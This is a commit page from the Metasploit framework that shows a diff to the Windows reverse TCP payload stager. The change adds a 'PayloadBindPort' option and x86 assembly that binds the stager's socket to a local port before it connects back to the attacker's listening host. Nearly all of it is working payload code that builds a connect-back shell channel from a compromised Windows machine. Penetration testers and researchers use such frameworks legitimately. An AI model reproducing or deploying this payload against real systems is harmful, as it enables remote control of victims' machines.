Skip to content

Commit a7fbe71

Browse files
committed
Added socket bind port option for reverse tcp payload.
1 parent 1975713 commit a7fbe71

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,14 @@ module Payload::Windows::ReverseTcp
2222
include Msf::Payload::Windows::BlockApi
2323
include Msf::Payload::Windows::Exitfunk
2424

25+
#
26+
# Register reverse tcp specific options
27+
#
28+
def initialize(*args)
29+
super
30+
register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.', '0']) ], self.class)
31+
end
32+
2533
#
2634
# Generate the first stage
2735
#
@@ -31,6 +39,7 @@ def generate(opts={})
3139
port: ds['LPORT'],
3240
host: ds['LHOST'],
3341
retry_count: ds['ReverseConnectRetries'],
42+
bind_port: ds['PayloadBindPort'],
3443
reliable: false
3544
}
3645

@@ -99,10 +108,16 @@ def required_space
99108
#
100109
def asm_reverse_tcp(opts={})
101110

111+
bind_port = opts[:bind_port]
112+
113+
encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
102114
retry_count = [opts[:retry_count].to_i, 1].max
103115
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
104116
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
105117

118+
addr_fam = 2
119+
sockaddr_size = 16
120+
106121
asm = %Q^
107122
; Input: EBP must be the address of 'api_call'.
108123
; Output: EDI will be the socket for the connection to the server
@@ -141,6 +156,33 @@ def asm_reverse_tcp(opts={})
141156
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
142157
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
143158
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
159+
^
160+
# Check if a bind port was specified
161+
if bind_port != 0
162+
asm << %Q^
163+
xor eax, eax
164+
push 11
165+
pop ecx
166+
push_0_loop:
167+
push eax ; if we succeed, eax will be zero, push it enough times
168+
; to cater for both IPv4 and IPv6
169+
loop push_0_loop
170+
171+
; bind to 0.0.0.0/[::], pushed above
172+
push #{encoded_bind_port} ; family AF_INET and port number
173+
mov esi, esp ; save a pointer to sockaddr_in struct
174+
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
175+
push esi ; pointer to the sockaddr_in struct
176+
push edi ; socket
177+
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
178+
call ebp ; bind( s, &sockaddr_in, 16 );
179+
^
180+
end
181+
182+
asm << %Q^
183+
push #{encoded_host} ; host in little-endian format
184+
push #{encoded_port} ; family AF_INET and port number
185+
mov esi, esp
144186
145187
try_connect:
146188
push 16 ; length of the sockaddr struct

0 commit comments

Comments
 (0)